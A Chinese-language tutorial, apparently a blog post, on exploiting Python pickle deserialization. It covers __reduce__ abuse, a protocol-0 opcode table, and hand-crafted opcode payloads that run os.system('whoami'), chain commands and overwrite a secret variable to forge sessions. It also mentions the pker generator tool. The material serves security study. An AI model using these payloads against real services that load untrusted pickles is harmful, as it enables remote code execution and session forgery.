很简单,就是一个python的序列化模块,方便对象的传输与存储。但是pickle的灵活度很高,可以通过对opcode的编写来实现代码执行的效果,由此引发一系列的安全问题
举个简单的例子
import pickle class Person(): def __init__(self): self.age = 18 self.name = 'F12' p = Person() opcode = pickle.dumps(p) print(opcode) person = pickle.loads(opcode) print(person) print(person.age) print(person.name) # 输出结果 # b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x03F12\x94ub.' # <__main__.Person object at 0x00000297918FBF10> # 18 # F12
pickle.dumps(p) 将对象序列化,同理pickle.loads(opcode)就是反序列化的过程
值得注意的是在不同平台环境下pickle生成的opcode是不同的,例如在windows和linux环境下相同的对象,dumps下来的opcode就不一样
object.__reduce__是object类的一个魔术方法,我们可以通过重写该方法,让该方法在反序列化时按我们的重写的方式执行,python要求该方法返回一个字符串或元组,如果返回元组 (callable, (param1, param2, )) ,那么每当反序列化时,就会调用 callable(param1, param2, ),我们可以控制callable和它的参数来实现代码执行
import pickle import os class Exp(): def __reduce__(self): return (os.system, ('whoami', )) e = Exp() opcode = pickle.dumps(e) pickle.loads(opcode) # 输出结果 sevydhodungnwjp\hacker
很明显在反序列化的过程时执行了 os.system('whoami'),这是pickle反序列化漏洞的最简单的利用方式,要掌握更加高级的利用手法,我们还得继续深入学习pickle
opcode的解析依靠Pickle Virtual Machine (PVM)进行
PVM由以下三部分组成
.
这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。
pickle协议是向前兼容的,v0版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。下面我们以v0版本为例,介绍一下opcode指令
opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
---|---|---|---|---|
c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)会加入self.stack | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
N | 实例化一个None | N | 获得的对象入栈 | 无 |
S | 实例化一个字符串对象 | S'xxx'\n(也可以使用双引号、\'等python字符串形式) | 获得的对象入栈 | 无 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
p | 将栈顶对象储存至memo_n(记忆栈) | pn\n | 无 | 对象被储存 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
0 | 丢弃栈顶对象(self.stack) | 0 | 栈顶对象被丢弃 | 无 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
更多的opcode指令可以查看pickle.py获取
嫖的动图
PVM解析str
PVM解析__reduce__:
举个简单的opcode例子:
opcode = '''cos # c[moudle]\n[instance]\n system # 前两句相当于导入os模块,调用system (S'whoami' # ( 压入MARK标记 , S'whoami' 压入 whoami字符串 tR. # t 寻找栈中的上一个MARK,并组合之间的数据为元组,也就是('whoami') ''' # R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,即os.system('whoami') # . 程序结束,栈顶的一个元素作为pickle.loads()的返回值,返回值就是os.system('whoami')的执行结果
程序:
import pickle opcode = '''cos system (S'whoami' tR. ''' pickle.loads(opcode.encode()) # 运行结果 sevydhodungnwjp\hacker
pickletools模块可以将opcode指令转变成易读的形式:
import pickletools opcode = '''cos system (S'whoami' tR. ''' print(pickletools.dis(opcode.encode()))
在上面描述的修改reduce来达到命令执行的效果,一次只能执行一条命令,想要多命令执行就只能通过手写opcode来实现,只要不碰到.
导致程序结束返回就能一直执行命令
import pickle opcode = '''cos system (S'whoami' tRcos system (S'whoami' tR. ''' pickle.loads(opcode.encode()) # 运行结果 sevydhodungnwjp\hacker sevydhodungnwjp\hacker
在opcode里能执行函数的字节码就是R,i,o
opcode=b'''cos system (S'whoami' tR. '''
opcode=b'''(S'whoami' ios system .'''
opcode=b'''(cos system S'whoami' o.'''
实例化对象也是一种变相的函数执行,因为python不需要new 一个对象(bushi
import pickle class Person(): def __init__(self, age, name): self.age = age self.name = name opcode = '''c__main__ Person (I18 S'F12' tR. ''' p = pickle.loads(opcode.encode()) print(p.age) print(p.name) # 运行结果 18 F12
也是一个nb的利用手段,通常python框架使用了session时都会有个secret,我们可以通过覆盖掉这个secret来伪造session
secret = "F13"
import pickle import secret print("一开始:"+ secret.secret) opcode = b'''c__main__ secret (S'secret' S'F12' db. ''' fake = pickle.loads(opcode) print("最后:"+ fake.secret) # 运行结果 一开始:F13 最后:F12
首先通过c来获取main.secret模块,然后将MARK标记压入栈,字符串secret,F12压入栈,d将两个字符串组合成字典也就是{'secret': 'F12'}的形式,由于在pickle中,反序列化的数据都是以key-value的形式存储的,所有main.secret 也就是 {'secret': 'F13'},b执行dict.update(),也就是{'secret': 'F13'}.update({'secret': 'F12'}),最终secret变成了F12
一个方便生成所需要opcode代码的工具:https://github.com/eddieivan01/pker
仿python语法生成opcode,使用方法很简单